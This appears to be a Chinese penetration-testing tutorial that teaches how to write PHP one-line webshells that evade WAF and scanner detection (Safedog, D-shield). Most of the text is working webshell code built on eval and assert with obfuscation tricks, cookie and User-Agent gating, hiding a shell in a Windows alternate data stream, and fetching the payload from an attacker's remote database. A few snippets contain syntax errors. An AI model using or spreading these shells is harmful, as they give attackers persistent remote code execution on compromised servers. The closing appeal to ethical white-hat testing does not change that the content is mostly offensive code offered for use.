本文内容:
~Waf检测机制与绕过
~进阶知识
~结束语
每日一句:
每天进步一点点,持之以恒,终成大器
天行健,君子以自强不息!
一、Waf检测机制与绕过
1,正常一句马
<?php eval($_REQUEST['a']);?>
//这种有个Waf都会给干掉
//多说一下,参数为数字也是可以的
<?php eval($_REQUEST[1]);?>
2,稍微变形(一)
变量函数绕过
绕过语句:
<?php eval(end($_REQUEST));?>
原理:
Waf拦截的本质还是正则匹配问题
通过测试我们发现仅仅一个eval()函数不拦截
测试语句:
<?php eval();?>
进而测试
<?php eval($_REQUEST)?;> //这也不拦截
那基本就是多一个“[]”的问题
思考绕过方法:
~替换掉eval() -->assert()作用类似,试试不行
~替换掉$_REQUEST[] ——>那就从这突破了
深思:
$_REQUEST[]是超全局变量,就是获得传参的
提出一个函数:end()
//输出数组中的当前元素和最后一个元素的值
测试语句:
<?php var_dump(end($_REQUEST));?>
传参: url ?a=1&b=123
输出: string(3)"123"
综合:<?php eval(end($_REQUEST));?>
//这直接扫描也扫不出了
//唯一缺陷没有密码,随便传参都可以,即
//url ?sb=phpinfo();
3,稍微变形(二)
常量函数绕过
在提一个常量函数:define()
<?php define("b","$_REQUEST[a]");eval(b);?>
原理:
$_REQUEST接收传参前端a的传参,
然后执行操作:b=$_REQUEST['a'],
最后,eval(b),
4,稍微变形(三)
字符串拼接 + 双美元符号
<?php
$a='aww';
$b='ert';
$funcName=$a.$b; //assert()函数的作用相等于eval()
$x='funcName';
$$x($_REQUEST['a']); //为什么不用eval(),
//二次解析 //因为php中eval不能拼接执行(规定)
?>
5,稍微变形(四)
定义函数绕过
通过上边我们得知,eval($_REQUEST) 这不会被拦截
但是加上“[]”就会拦截。所以,我们想办法分离一下这两部分
通过测试,得知"($_REQUEST)[]" 我们中间加个“(”都可以躲过检测
上语句:
<?php
function ss($_a){return $a;}
eval(ss($_REQUEST)['a']); //分割“REQUEST” 与 “[]”
?>
6,稍微变形(五)
定义类绕过+魔术方法
<?php class User{
public $name=''; //两个单引号
function__destruct(){
eval("$this->name"); //定义变量name
}
}user = new User; //实例化类
$user->name = ".$_REQUEST['a']; //给name赋值
?>
//魔术方法作用:当类被销毁的时候调用
//什么是销毁?就是类运行完毕后
其实安全狗还是比较容易过的,像D盾之类的,就只能靠一些函数
甚至反序列化函数
7,稍微变形(六)
一些骚的操作开始
<?php
$COOKIE = $_COOKIE; //获取cookie传参,存在变量cookie中
foreach($COOKIE as $key => $value){ //将cookie的键值分离
//比如传参a=1,分离为:key=a,value=1
if($key == 'assert'){
$key($_REQUEST['a']);
}
}
?>
//这个函数的最终效果是:assert($_REQUEST['a']);
//在实战中,url a=sb 且在 cookie中 设置assert=sb
8,稍微变形(七)
继续一些骚的操作
<?php
$a=get_defined_functions();
$a=['internal'][841]($_REQUEST['a']);
?>
//get_defined_functions()函数是返回所有已经定义的函数
//可以var_dump(get_defined_functions())看看
//get_defined_functions()['internal'] 返回键为“internal”的数组
//['internal'][841] 就是“internal”这个一维数组的第841个数据 实际上就是assert
//综上,最终语句相等于assert($_REQUEST['a'])
二、微微进阶
1,D盾相对安全狗来说,难度大了一些,但是问题也不大
//写一点吧,有兴趣的同学可以了解一下
小思路:
<?php
if($_SERVER['HTTP_USER_AGENT'] === '1')(
eval(end($_REQUEST))
)
?>
//传输的时候,改一下请求头为1,若是菜刀或者蚁剑之类的连接
//直接将“1”改为 相应软件的请求头即可
2,再来个隐藏小马的法子
当你getshell的时候,在命令行执行:
echo "<?php eval($_REQUEST['a']);?>" >> /:626.txt
在任意一个php文件中:
<?php include('/:626.txt')?>
作用就是,这个小马被隐藏,dir也是看不到的
但是,仅仅可以在win系统 --->安全狗是扫不出的,D盾的话,会报可以引用
可以在前边在加点函数绕过,就不扩展了,有兴趣自己去试
3,制胜大法
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','数据库名'),'select * from 表名'))['列名']);
?>
//本质就是让服务器去连接读取我们放在公网的数据库的内容,
//我们在数据库具体的表存入:
eval($_REQUEST['a']);
最后,服务器可以去买个学生机之类的,记得貌似9.9一个月
三,结束语
1,到这里,耗时近2月的小白成长之路已经接近尾声。等等我修正几天,看看再开
一个进阶栏目。不管怎么说,大家一定要注重积累,1万小时定理。
2,注意渗透测试的尺度,不要碰黑产。做一个正直的白帽子